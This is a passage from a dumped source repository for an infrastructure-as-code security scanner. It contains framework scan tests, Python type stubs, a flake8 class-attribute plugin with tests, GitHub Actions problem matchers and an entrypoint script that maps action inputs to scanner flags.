framework=CheckType.BITBUCKET_PIPELINES)\n\n\n@pytest.mark.xfail(reason=\"locally it works, but in CI no results\")\ndef test_cdk_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.CDK)\n\n\ndef test_circleci_pipelines_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.CIRCLECI_PIPELINES)\n\n\ndef test_cloudformation_framework(caplog: LogCaptureFixture) -> None:\n    excluded_paths = [\n        \"cloudformation/parser/cfn_bad_name.yaml$\",\n        \"cloudformation/parser/cfn_with_ref_bad.yaml$\",\n        \"cloudformation/parser/success_triple_quotes_string.json$\",\n        \"cloudformation/runner/resources/invalid.json$\",\n        \"cloudformation/runner/resources/invalid.yaml$\",\n        \"cloudformation/runner/resources/invalid_properties.json$\",\n        \"cloudformation/runner/resources/invalid_properties.yaml$\",\n    ]\n\n    run_framework_test(caplog=caplog, framework=CheckType.CLOUDFORMATION, excluded_paths=excluded_paths)\n\n\ndef test_dockerfile_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.DOCKERFILE)\n\n\ndef test_github_actions_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.GITHUB_ACTIONS)\n\n\ndef test_gitlab_ci_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.GITLAB_CI)\n\n\ndef test_helm_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.HELM)\n\n\ndef test_kubernetes_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.KUBERNETES)\n\n\n@pytest.mark.skip(reason=\"kustomize needs a context to do a proper scan, which is hard to set here\")\ndef test_kustomize_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.KUSTOMIZE)\n\n\ndef test_openapi_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.OPENAPI)\n\n\ndef test_secrets_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.SECRETS)\n\n\ndef test_serverless_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.SERVERLESS)\n\n\ndef test_terraform_framework(caplog: LogCaptureFixture) -> None:\n    excluded_paths = [\n        \"terraform/runner/resources/example/invalid.tf$\",\n        \"terraform/runner/resources/invalid_terraform_syntax/bad_tf_1.tf$\",\n        \"terraform/runner/resources/invalid_terraform_syntax/bad_tf_2.tf$\",\n        \"terraform/runner/resources/unbalanced_eval_brackets/main.tf$\",\n        \"terraform/runner/resources/hcl_timeout/main.tf$\",\n        \"terraform/parser/resources/hcl_timeout/main.tf$\",\n    ]\n\n    run_framework_test(caplog=caplog, framework=CheckType.TERRAFORM, excluded_paths=excluded_paths)\n\n\ndef test_terraform_json_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.TERRAFORM_JSON)\n\n\ndef test_terraform_plan_framework(caplog: LogCaptureFixture) -> None:\n    excluded_paths = [\n        \"arm/parser/examples/json/with_comments.json$\",\n        \"cloudformation/parser/fail.json$\",\n        \"cloudformation/parser/success_triple_quotes_string.json$\",\n        \"cloudformation/runner/resources/invalid.json$\",\n    ]\n\n    run_framework_test(caplog=caplog, framework=CheckType.TERRAFORM_PLAN, excluded_paths=excluded_paths)\n\n\ndef run_framework_test(caplog: LogCaptureFixture, framework: str, excluded_paths: list[str] | None = None) -> None:\n    # given\n    caplog.set_level(logging.ERROR)\n    runner_registry = RunnerRegistry(\n        \"\", RunnerFilter(framework=[framework], excluded_paths=excluded_paths), *DEFAULT_RUNNERS\n    )\n\n    # when\n    scan_reports = runner_registry.run(root_folder=str(TESTS_DIR))\n\n    # then\n    for report in scan_reports:\n        assert report.failed_checks\n        assert not report.parsing_errors, f\"Found parsing errors for framework '{report.check_type}'\"\n\n    assert not caplog.text, caplog.text\n"
  },
  {
    "path": "extra_stubs/boolean/__init__.pyi",
    "content": "from .boolean import BooleanAlgebra, Expression\n\n__all__ = [\n    \"BooleanAlgebra\",\n    \"Expression\",\n]\n"
  },
  {
    "path": "extra_stubs/boolean/boolean.py",
    "content": "class BooleanAlgebra:\n    ...\n\n\nclass Expression:\n    ...\n"
  },
  {
    "path": "extra_stubs/docker/__init__.pyi",
    "content": "from .client import DockerClient, from_env\n\n__all__ = [\n    \"from_env\",\n]\n"
  },
  {
    "path": "extra_stubs/docker/client.pyi",
    "content": "from typing import Any\n\nfrom .models.images import ImageCollection\n\nclass DockerClient:\n    @classmethod\n    def from_env(cls, **kwargs: Any) -> DockerClient: ...\n\n    @property\n    def images(self) -> ImageCollection: ...\n\n\nfrom_env = DockerClient.from_env\n"
  },
  {
    "path": "extra_stubs/docker/models/images.pyi",
    "content": "from typing import Any\n\n\nclass Image:\n    attrs: dict[str, Any]\n    @property\n    def id(self) -> str: ...  # is actually defined in its parent class 'Model'\n    @property\n    def short_id(self) -> str: ...\n\n\nclass ImageCollection:\n    def get(self, name: str) -> Image: ...\n    def pull(self, repository: str, tag: str | None= ..., all_tags: bool = ..., **kwargs: Any) -> Image: ...\n"
  },
  {
    "path": "extra_stubs/dockerfile_parse/__init__.pyi",
    "content": "from .parser import DockerfileParser\n\n__all__ = [\n    \"DockerfileParser\",\n]\n"
  },
  {
    "path": "extra_stubs/dockerfile_parse/constants.pyi",
    "content": "from typing_extensions import Literal\n\nCOMMENT_INSTRUCTION: Literal[\"COMMENT\"]\n"
  },
  {
    "path": "extra_stubs/dockerfile_parse/parser.pyi",
    "content": "from typing import TextIO\n\nfrom typing_extensions import TypedDict\n\n\nclass _Instruction(TypedDict):\n    instruction: str\n    startline: int\n    endline: int\n    content: str\n    value: str\n\n\nclass DockerfileParser:\n    def __init__(\n        self,\n        path: str | None = ...,\n        cache_content: bool = ...,\n        env_replace: bool = ...,\n        parent_env: dict[str, str] | None = None,\n        fileobj: TextIO | None = None,\n        build_args: dict[str, str] | None = None,\n    ) -> None: ...\n\n    @property\n    def lines(self) -> list[str]: ...\n\n    @property\n    def structure(self) -> list[_Instruction]: ...\n"
  },
  {
    "path": "extra_stubs/junit_xml/__init__.pyi",
    "content": "from typing import Any\n\n\nclass TestSuite:\n    def __init__(\n        self,\n        name: str,\n        test_cases: list[TestCase] | None = ...,\n        hostname: str | None = ...,\n        id: str | None = ...,\n        package: str | None = ...,\n        timestamp: str | None = ...,\n        properties: dict[str, Any] | None =None,\n        file: str | None = ...,\n        log: str | None = ...,\n        url: str | None = ...,\n        stdout: str | None = ...,\n        stderr: str | None = ...,\n    ) -> None: ...\n\n\nclass TestCase:\n    def __init__(\n        self,\n        name: str,\n        classname: str | None = ...,\n        elapsed_sec: float | None = ...,\n        stdout: str | None = ...,\n        stderr: str | None = ...,\n        assertions: int | None = ...,\n        timestamp: str | None = ...,\n        status: str | None = ...,\n        category: str | None = ...,\n        file: str | None = ...,\n        line: str | None = ...,\n        log: str | None = ...,\n        url: str | None = ...,\n        allow_multiple_subelements: bool = ...,\n    ) -> None: ...\n\n    def add_error_info(\n        self, message: str | None = ..., output: str | None = ..., failure_type: str | None = ...\n    ) -> None: ...\n\n    def add_failure_info(\n        self, message: str | None = ..., output: str | None = ..., failure_type: str | None = ...\n    ) -> None: ...\n\n    def add_skipped_info(self, message: str | None = ..., output: str | None = ...) -> None: ...\n\n\ndef to_xml_report_string(test_suites: list[TestSuite], prettyprint: bool = ..., encoding: str | None = ...) -> str: ...\n"
  },
  {
    "path": "extra_stubs/license_expression/__init__.pyi",
    "content": "from pathlib import Path\nfrom typing import Any\n\nfrom boolean import BooleanAlgebra, Expression as LicenseExpression\n\nclass Licensing(BooleanAlgebra):\n    def parse(\n        self,\n        expression: bytes | str | LicenseExpression | None,\n        validate: bool = ...,\n        strict: bool = ...,\n        simple: bool = ...,\n        **kwargs: Any,\n    ) -> LicenseExpression | None: ...\n\ndef get_spdx_licensing(license_index_location: str | Path = ...) -> Licensing: ...\n"
  },
  {
    "path": "flake8_plugins/__init__.py",
    "content": ""
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/__init__.py",
    "content": ""
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/flake8_class_attributes/__init__.py",
    "content": "__version__ = '0.1.0'\n"
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/flake8_class_attributes/checker.py",
    "content": "import ast\nfrom typing import Generator, Tuple, List\n\nfrom . import __version__ as version\nfrom . model_parts_info import get_model_parts_info\nfrom . class_members_errors import get_class_members_errors\n\n\nclass ClassAttributesChecker:\n\n    name = 'flake8-class-attributes'\n    version = version\n    options = None\n\n    def __init__(self, tree, filename: str):\n        self.filename = filename\n        self.tree = tree\n\n    @classmethod\n    def add_options(cls, parser) -> None:\n        parser.add_option(\n            '--use-class-attributes-order-strict-mode',\n            action='store_true',\n            parse_from_config=True,\n            help='Require more strict order of private class members',\n        )\n        parser.add_option(\n            '--class-attributes-order',\n            comma_separated_list=True,\n            parse_from_config=True,\n            help='Comma-separated list of class attributes to '\n                 'configure order manually',\n        )\n\n    @classmethod\n    def parse_options(cls, options: str) -> None:\n        cls.options = options\n\n    def run(self) -> Generator[Tuple[int, int, str, type], None, None]:\n        classes = [n for n in ast.walk(self.tree) if isinstance(n, ast.ClassDef)]\n        errors: List[Tuple[int, int, str]] = []\n\n        for class_def in classes:\n            model_parts_info = get_model_parts_info(class_def)\n            errors += get_class_members_errors(model_parts_info, class_def)\n\n        for lineno, col_offset, error_msg in errors:\n            yield lineno, col_offset, error_msg, type(self)\n"
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/flake8_class_attributes/class_members_errors.py",
    "content": "from __future__ import annotations\n\nimport ast\nfrom typing import Any\n\nFORBIDDEN_TYPES = {\n    \"field\",\n}\nSKIP_SPECIAL_ATTRIBUTES = {\n    \"__code__\",\n    \"__slots__\",\n}\nSKIP_TYPING_CLASSES = {\n    \"Protocol\",\n    \"TypedDict\",\n}\n\n\ndef get_class_members_errors(\n    model_parts_info: list[dict[str, Any]], class_def: ast.ClassDef\n) -> list[tuple[int, int, str]]:\n    errors: list[tuple[int, int, str]] = []\n\n    if skip_dataclasses(class_def):\n        return errors\n    if skip_typed_dicts(class_def):\n        return errors\n    for model_part in model_parts_info:\n        if model_part['type'] in FORBIDDEN_TYPES:\n            node_name = get_node_name(model_part['node'], model_part['type'])\n\n            if node_name in SKIP_SPECIAL_ATTRIBUTES:\n                continue\n\n            errors.append((model_part['node'].lineno, model_part['node'].col_offset, f\"CCE003 Class level {model_part['type']} '{node_name}' detected in class {model_part['model_name']}\",))\n    return errors\n\n\ndef skip_dataclasses(class_def: ast.ClassDef) -> bool:\n    if class_def.decorator_list is not None:\n        for decorator in class_def.decorator_list:\n            if not isinstance(decorator, ast.Name):\n                return True\n            if decorator.id == 'dataclass':\n                return True\n    return False\n\n\ndef skip_typed_dicts(class_def: ast.ClassDef) -> bool:\n    if class_def.bases:\n        for base in class_def.bases:\n            if not isinstance(base, ast.Name):\n                return True\n            if base.id in SKIP_TYPING_CLASSES:\n                return True\n    return False\n\n\ndef get_node_name(node, node_type: str):\n    special_methods_names = (\n        '__new__',\n        '__init__',\n        '__post_init__',\n        '__str__',\n        'save',\n        'delete',\n    )\n    name_getters_by_type = [\n        ('docstring', lambda n: 'docstring'),\n        ('meta_class', lambda n: 'Meta'),\n        ('constant', lambda n: n.target.id if isinstance(n, ast.AnnAssign) else n.targets[0].id),  # type: ignore\n        ('field', get_name_for_field_node_type),\n        (('method',) + special_methods_names, lambda n: n.name),\n        ('nested_class', lambda n: n.name),\n        ('expression', lambda n: '<class_level_expression>'),\n        ('if', lambda n: 'if ...'),\n    ]\n    for type_postfix, name_getter in name_getters_by_type:\n        if node_type.endswith(type_postfix):  # type: ignore\n            return name_getter(node)\n\n\ndef get_name_for_field_node_type(node: ast.Assign | ast.AnnAssign) -> str:\n    name = '<class_level_assignment>'\n    if isinstance(node, ast.AnnAssign):\n        name = node.target.id if isinstance(node.target, ast.Name) else name\n    elif isinstance(node.targets[0], ast.Name):\n        name = node.targets[0].id\n    elif hasattr(node.targets[0], 'attr'):\n        name = node.targets[0].attr  # type: ignore\n    elif isinstance(node.targets[0], ast.Tuple):\n        name = ', '.join([e.id for e in node.targets[0].elts if isinstance(e, ast.Name)])\n\n    return name\n"
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/flake8_class_attributes/model_parts_info.py",
    "content": "import ast\n\n\ndef get_model_parts_info(model_ast):\n    parts_info = []\n    for child_node in model_ast.body:\n        node_type = get_model_node_type(child_node)\n        parts_info.append({\n            'model_name': model_ast.name,\n            'node': child_node,\n            'type': node_type\n        })\n    return parts_info\n\n\ndef get_model_node_type(child_node) -> str:\n    direct_node_types_mapping = [\n        (ast.If, lambda n: 'if'),\n        (ast.Pass, lambda n: 'pass'),\n        ((ast.Assign, ast.AnnAssign), lambda n: get_assighment_type(n)),\n        ((ast.FunctionDef, ast.AsyncFunctionDef), lambda n: get_funcdef_type(n)),\n        (ast.Expr, lambda n: 'docstring' if isinstance(n.value, ast.Str) else 'expression'),\n        (ast.ClassDef, lambda n: 'meta_class' if child_node.name == 'Meta' else 'nested_class'),\n    ]\n    for type_or_type_tuple, type_getter in direct_node_types_mapping:\n        if isinstance(child_node, type_or_type_tuple):  # type: ignore\n            return type_getter(child_node)\n\n\ndef get_assighment_type(child_node) -> str:\n    assignee_node = child_node.target if isinstance(child_node, ast.AnnAssign) else child_node.targets[0]\n    assighment_type = 'field'\n    if isinstance(assignee_node, ast.Subscript):\n        assighment_type = 'expression'\n    if isinstance(assignee_node, ast.Name) and is_caps_lock_str(assignee_node.id):\n        assighment_type = 'constant'\n    if isinstance(child_node.value, ast.Call):\n        dump_callable = ast.dump(child_node.value.func)\n        if (\n            'ForeignKey' in dump_callable\n            or 'ManyToManyField' in dump_callable\n            or 'OneToOneField' in dump_callable\n            or 'GenericRelation' in dump_callable\n        ):\n            assighment_type = 'outer_field'\n    return assighment_type\n\n\ndef get_funcdef_type(child_node) -> str:\n    special_methods_names = {\n        '__new__',\n        '__init__',\n        '__post_init__',\n        '__str__',\n        'save',\n        'delete',\n    }\n    decorator_names_to_types_map = {\n        'property': 'property_method',\n        'cached_property': 'property_method',\n        'staticmethod': 'static_method',\n        'classmethod': 'class_method',\n\n        'private_property': 'private_property_method',\n        'private_cached_property': 'private_property_method',\n        'private_staticmethod': 'private_static_method',\n        'private_classmethod': 'private_class_method',\n    }\n    for decorator_info in child_node.decorator_list:\n        if (\n            isinstance(decorator_info, ast.Name)\n            and decorator_info.id in decorator_names_to_types_map\n        ):\n\n            if child_node.name.startswith('_'):\n                return decorator_names_to_types_map[f'private_{decorator_info.id}']\n\n            return decorator_names_to_types_map[decorator_info.id]\n    funcdef_type = 'method'\n    if child_node.name in special_methods_names:\n        funcdef_type = child_node.name\n    elif child_node.name.startswith('__') and child_node.name.endswith('__'):\n        funcdef_type = 'magic_method'\n    elif child_node.name.startswith('_'):\n        funcdef_type = 'private_method'\n    return funcdef_type\n\n\ndef is_caps_lock_str(var_name: str) -> bool:\n    return var_name.upper() == var_name\n"
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/tests/__init__.py",
    "content": ""
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/tests/conftest.py",
    "content": "import ast\nimport os\n\nfrom flake8.options.manager import OptionManager\n\nfrom flake8_plugins.flake8_class_attributes_plugin.flake8_class_attributes.checker import ClassAttributesChecker\n\n\ndef run_validator_for_test_file(filename, max_annotations_complexity=None,\n                                strict_mode=False, attributes_order=None):\n    test_file_path = os.path.join(\n        os.path.dirname(os.path.abspath(__file__)),\n        'test_files',\n        filename,\n    )\n    with open(test_file_path, 'r') as file_handler:\n        raw_content = file_handler.read()\n    tree = ast.parse(raw_content)\n\n    options = OptionManager('flake8_class_attributes_order', '0.1.3')\n    options.use_class_attributes_order_strict_mode = strict_mode\n    options.class_attributes_order = attributes_order\n    ClassAttributesChecker.parse_options(options)\n\n    checker = ClassAttributesChecker(tree=tree, filename=filename)\n    if max_annotations_complexity:\n        checker.max_annotations_complexity = max_annotations_complexity\n\n    return list(checker.run())\n"
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/tests/test_files/__init__.py",
    "content": ""
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/tests/test_files/class_attribute_fail.py",
    "content": "class A:\n\n    class_attribute: str = \"error\"\n\n    @classmethod\n    def _get_favicon_path(cls, object_name: str):\n        pass\n\n    def get_tabs_info(self):\n        pass\n"
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/tests/test_files/class_const_pass.py",
    "content": "class A:\n\n    CLASS_CONST = \"ok\"\n\n    @classmethod\n    def _get_favicon_path(cls, object_name: str):\n        pass\n\n    def get_tabs_info(self):\n        pass\n"
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/tests/test_files/class_special_attributes_pass.py",
    "content": "class A:\n    __slots__ = (\"some_attr\")\n\n    @classmethod\n    def _get_favicon_path(cls, object_name: str):\n        pass\n\n    def get_tabs_info(self):\n        pass\n"
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/tests/test_files/dataclass_skip.py",
    "content": "from dataclasses import dataclass\n\n\n@dataclass\nclass A:\n\n    class_attribute: str = \"skip and pass\"\n\n    @classmethod\n    def _get_favicon_path(cls, object_name: str):\n        pass\n\n    def get_tabs_info(self):\n        pass\n"
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/tests/test_files/typing_class_skip.py",
    "content": "from typing_extensions import TypedDict, Protocol\n\n\nclass ExampleTypedDict(TypedDict):\n    attr_1: str\n    attr_2: int\n\n\nclass ExampleProtocol(Protocol):\n    attr: str\n\n    def do_something(self) -> str:\n        ...\n"
  },
  {
    "path": "flake8_plugins/flake8_class_attributes_plugin/tests/test_handler.py",
    "content": "from . conftest import run_validator_for_test_file\n\n\ndef test_file_with_class_attribute():\n    errors = run_validator_for_test_file('class_attribute_fail.py')\n    assert len(errors) == 1\n\n\ndef test_file_with_class_const():\n    errors = run_validator_for_test_file('class_const_pass.py')\n    assert len(errors) == 0\n\n\ndef test_file_with_class_special_attributes():\n    errors = run_validator_for_test_file('class_special_attributes_pass.py')\n    assert len(errors) == 0\n\n\ndef test_dataclass_skip():\n    errors = run_validator_for_test_file('dataclass_skip.py')\n    assert len(errors) == 0\n\n\ndef test_typing_class_skip():\n    errors = run_validator_for_test_file('typing_class_skip.py')\n    assert len(errors) == 0\n"
  },
  {
    "path": "github_action_resources/checkov-problem-matcher-softfail.json",
    "content": "{\n  \"problemMatcher\": [\n    {\n      \"owner\": \"checkov\",\n      \"pattern\": [\n        {\n          \"regexp\": \"^Check: (\\\\w+: .*)$\",\n          \"message\": 1\n        },\n        {\n          \"regexp\": \"^\\\\WFAILED.*$\"\n        },\n        {\n          \"regexp\": \"^\\\\WFile: \\/(.+):(\\\\d+)-(\\\\d+)$\",\n          \"file\": 1,\n          \"line\": 2\n        }\n      ],\n      \"severity\": \"error\"\n    }\n  ]\n}\n"
  },
  {
    "path": "github_action_resources/checkov-problem-matcher.json",
    "content": "{\n  \"problemMatcher\": [\n    {\n      \"owner\": \"checkov\",\n      \"pattern\": [\n        {\n          \"regexp\": \"^Check: (\\\\w+: .*)$\",\n          \"message\": 1\n        },\n        {\n          \"regexp\": \"^\\\\WFAILED.*$\"\n        },\n        {\n          \"regexp\": \"^\\\\WFile: \\/(.+):(\\\\d+)-(\\\\d+)$\",\n          \"file\": 1,\n          \"line\": 2\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "github_action_resources/entrypoint.sh",
    "content": "#!/bin/bash\n\n# Leverage the default env variables as described in:\n# https://docs.github.com/en/actions/reference/environment-variables#default-environment-variables\nif [[ $GITHUB_ACTIONS != \"true\" ]]\nthen\n  checkov \"$@\"\n  exit $?\nfi\n\nmatcher_path=`pwd`/checkov-problem-matcher.json\nwarning_matcher_path=`pwd`/checkov-problem-matcher-softfail.json\ncp /usr/local/lib/checkov-problem-matcher.json \"$matcher_path\"\ncp /usr/local/lib/checkov-problem-matcher-softfail.json \"$warning_matcher_path\"\n\nexport BC_SOURCE=githubActions\n\nif [ -n \"$PRISMA_API_URL\" ]; then\n  export PRISMA_API_URL=$PRISMA_API_URL\nfi\n\n# Actions pass inputs as $INPUT_<input name> environment variables\n#\n[[ -n \"$INPUT_SKIP_CHECK\" ]] && SKIP_CHECK_FLAG=\"--skip-check $INPUT_SKIP_CHECK\"\n[[ -n \"$INPUT_FRAMEWORK\" ]] && FRAMEWORK_FLAG=\"--framework $INPUT_FRAMEWORK\"\n[[ -n \"$INPUT_SKIP_FRAMEWORK\" ]] && SKIP_FRAMEWORK_FLAG=\"--skip-framework $INPUT_SKIP_FRAMEWORK\"\n[[ -n \"$INPUT_OUTPUT_FILE_PATH\" ]] && OUTPUT_FILE_PATH_FLAG=\"--output-file-path $INPUT_OUTPUT_FILE_PATH\"\n[[ -n \"$INPUT_BASELINE\" ]] && BASELINE_FLAG=\"--baseline $INPUT_BASELINE\"\n[[ -n \"$INPUT_CONFIG_FILE\" ]] && CONFIG_FILE_FLAG=\"--config-file $INPUT_CONFIG_FILE\"\n[[ -n \"$INPUT_SOFT_FAIL_ON\" ]] && SOFT_FAIL_ON_FLAG=\"--soft-fail-on $INPUT_SOFT_FAIL_ON\"\n[[ -n \"$INPUT_HARD_FAIL_ON\" ]] && HARD_FAIL_ON_FLAG=\"--hard-fail-on $INPUT_HARD_FAIL_ON\"\n[[ -n \"$INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT\" ]] && INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT_FLAG=\"--repo-root-for-plan-enrichment $INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT\"\n[[ -n \"$INPUT_POLICY_METADATA_FILTER\" ]] && POLICY_METADATA_FILTER_FLAG=\"--policy-metadata-filter $INPUT_POLICY_METADATA_FILTER\"\n[[ -n \"$INPUT_POLICY_METADATA_FILTER_EXCEPTION\" ]] && POLICY_METADATA_FILTER_EXCEPTION_FLAG=\"--policy-metadata-filter-exception $INPUT_POLICY_METADATA_FILTER_EXCEPTION\"\n\nif [ -n \"$INPUT_OUTPUT_BC_IDS\" ] && [ \"$INPUT_OUTPUT_BC_IDS\" = \"true\" ]; then\n  OUTPUT_BC_IDS_FLAG=\"--output-bc-ids\"\nfi\n\nif [ -n \"$INPUT_COMPACT\" ] && [ \"$INPUT_COMPACT\" = \"true\" ]; then\n  COMPACT_FLAG=\"--compact\"\nfi\n\nif [ -n \"$INPUT_QUIET\" ] && [ \"$INPUT_QUIET\" = \"true\" ]; then\n  QUIET_FLAG=\"--quiet\"\nfi\n\nif [ -n \"$INPUT_DOWNLOAD_EXTERNAL_MODULES\" ] && [ \"$INPUT_DOWNLOAD_EXTERNAL_MODULES\" = \"true\" ]; then\n  DOWNLOAD_EXTERNAL_MODULES_FLAG=\"--download-external-modules true\"\nfi\n\nif [ -n \"$INPUT_SOFT_FAIL\" ] && [ \"$INPUT_SOFT_FAIL\" =  \"true\" ]; then\n  SOFT_FAIL_FLAG=\"--soft-fail\"\nfi\n\nif [ -n \"$INPUT_USE_ENFORCEMENT_RULES\" ] && [ \"$INPUT_USE_ENFORCEMENT_RULES\" =  \"true\" ]; then\n  USE_ENFORCEMENT_RULES_FLAG=\"--use-enforcement-rules\"\nfi\n\nif [ -n \"$INPUT_ENABLE_SECRETS_SCAN_ALL_FILES\" ] && [ \"$INPUT_ENABLE_SECRETS_SCAN_ALL_FILES\" =  \"true\" ]; then\n  ENABLE_SECRETS_SCAN_ALL_FILES=\"--enable-secret-scan-all-files\"\nfi\n\nif [ -n \"$INPUT_SKIP_RESULTS_UPLOAD\" ] && [ \"$INPUT_SKIP_RESULTS_UPLOAD\" = \"true\" ]; then\n  SKIP_RESULTS_UPLOAD_FLAG=\"--skip-results-upload\"\nfi\n\nif [ -n \"$INPUT_SKIP_DOWNLOAD\" ] && [ \"$INPUT_SKIP_DOWNLOAD\" = \"true\" ]; then\n  SKIP_DOWNLOAD_FLAG=\"--skip-download\"\nfi\n\nif [ -n \"$INPUT_DEEP_ANALYSIS\" ] && [ \"$INPUT_DEEP_ANALYSIS\" = \"true\" ]; then\n  INPUT_DEEP_ANALYSIS_FLAG=\"--deep-analysis\"\nfi\n\nif [ -n \"$INPUT_LOG_LEVEL\" ]; then\n  export LOG_LEVEL=$INPUT_LOG_LEVEL\nfi\n\n#\n# Following inputs need to be separated by comma and added via multiple flags\n#\nEXTCHECK_DIRS_FLAG=\"\"\nif [ -n \"$INPUT_EXTERNAL_CHECKS_DIRS\" ]; then\n  IFS=', ' read -r -a extchecks_dir <<< \"$INPUT_EXTERNAL_CHECKS_DIRS\"\n  for d in \"${extchecks_dir[@]}\"\n  do\n    EXTCHECK_DIRS_FLAG=\"$EXTCHECK_DIRS_FLAG --external-checks-dir $d\"\n  done\nfi\n\nCHECK_FLAG=\"\"\nif [ -n \"$INPUT_CHECK\" ]; then\n  IFS=', ' read -r -a checks <<< \"$INPUT_CHECK\"\n  for d in \"${checks[@]}\"\n  do\n    CHECK_FLAG=\"$CHECK_FLAG --check $d\"\n  done\nfi\n\nEXTCHECK_REPOS_FLAG=\"\"\nif [ -n \"$INPUT_EXTERNAL_CHECKS_REPOS\" ]; then\n  IFS=', ' read -r -a extchecks_git <<< \"$INPUT_EXTERNAL_CHECKS_REPOS\"\n  for repo in \"${extchecks_git[@]}\"\n  do\n    EXTCHECK_REPOS_FLAG=\"$EXTCHECK_REPOS_FLAG --external-checks-git $repo\"\n  done\nfi\n\nOUTPUT_FLAG=\"\"\nif [ -n \"$INPUT_OUTPUT_FORMAT\" ]; then\n  IFS=', ' read -r -a output_format <<< \"$INPUT_OUTPUT_FORMAT\"\n  for format in \"${output_format[@]}\"\n  do\n    OUTPUT_FLAG=\"$OUTPUT_FLAG --output $format\"\n  done\nfi\n\nVAR_FILE_FLAG=\"\"\nif [ -n \"$INPUT_VAR_FILE\" ]; then\n  IFS=', ' read -r -a var_files <<< \"$INPUT_VAR_FILE\"\n  for var_file in \"${var_files[@]}\"\n  do\n    VAR_FILE_FLAG=\"$VAR_FILE_FLAG --var-file $var_file\"\n  done\nfi\n\nSKIP_PATH_FLAG=\"\"\nif [ -n \"$INPUT_SKIP_PATH\" ]; then\n  IFS=', ' read -r -a skip_paths <<< \"$INPUT_SKIP_PATH\"\n  for skip_path in \"${skip_paths[@]}\"\n  do\n    SKIP_PATH_FLAG=\"$SKIP_PATH_FLAG --skip-path $skip_path\"\n  done\nfi\n\nSKIP_CVE_PACKAGE_FLAG=\"\"\nif [ -n \"$INPUT_SKIP_CVE_PACKAGE\" ]; then\n  IFS=', ' read -r -a skip_cve_packages <<< \"$INPUT_SKIP_CVE_PACKAGE\"\n  for skip_cve_package in \"${skip_cve_packages[@]}\"\n  do\n    SKIP_CVE_PACKAGE_FLAG=\"$SKIP_CVE_PACKAGE_FLAG --skip-cve-package $skip_cve_package\"\n  done\nfi\n\nif [[ -z \"$INPUT_SOFT_FAIL\" ]]; then\n    echo \"::add-matcher::checkov-problem-matcher.json\"\nelse\n    echo \"::add-matcher::checkov-problem-matcher-softfail.json\"\nfi\n\nAPI_KEY=${API_KEY_VARIABLE}\n\nGIT_BRANCH=${GITHUB_HEAD_REF:=\"$GITHUB_REF_NAME\"}\nGIT_BRANCH=${GIT_BRANCH:=master}\nexport BC_FROM_BRANCH=${GIT_BRANCH}\nexport BC_TO_BRANCH=${GITHUB_BASE_REF}\nexport BC_PR_ID=$(echo $GITHUB_REF | awk 'BEGIN { FS = \"/\" } ; { print $3 }')\nexport BC_PR_URL=\"${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/pull/${BC_PR_ID}\"\nexport BC_COMMIT_HASH=${GITHUB_SHA}\nexport BC_COMMIT_URL=\"${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/commit/${GITHUB_SHA}\"\nexport BC_AUTHOR_NAME=${GITHUB_ACTOR}\nexport BC_AUTHOR_URL=\"${GITHUB_SERVER_URL}/${BC_AUTHOR_NAME}\"\nexport BC_RUN_ID=${GITHUB_RUN_NUMBER}\nexport BC_RUN_URL=\"${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/actions/runs/${GITHUB_RUN_ID}\"\nexport BC_REPOSITORY_URL=\"${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}\"\n\necho \"BC_FROM_BRANCH=${GIT_BRANCH}\"\necho \"BC_TO_BRANCH=${GITHUB_BASE_REF}\"\necho \"BC_PR_ID=$(echo $GITHUB_REF | awk 'BEGIN { FS = \"/\" } ; { print $3 }')\"\necho \"BC_PR_URL=\"${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/pull/${BC_PR_ID}\"\"\necho \"BC_COMMIT_HASH=${GITHUB_SHA}\"\necho \"BC_COMMIT_URL=\"${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/commit/${GITHUB_SHA}\"\"\necho \"BC_AUTHOR_NAME=${GITHUB_ACTOR}\"\necho \"BC_AUTHOR_URL=\"${GITHUB_SERVER_URL}/${BC_AUTHOR_NAME}\"\"\necho \"BC_RUN_ID=${GITHUB_RUN_NUMBER}\"\necho \"BC_RUN_URL=\"${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/actions/runs/${GITHUB_RUN_ID}\"\"\necho \"BC_REPOSITORY_URL=\"${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}\"\"\n\n# Overrides all GitHub URLs 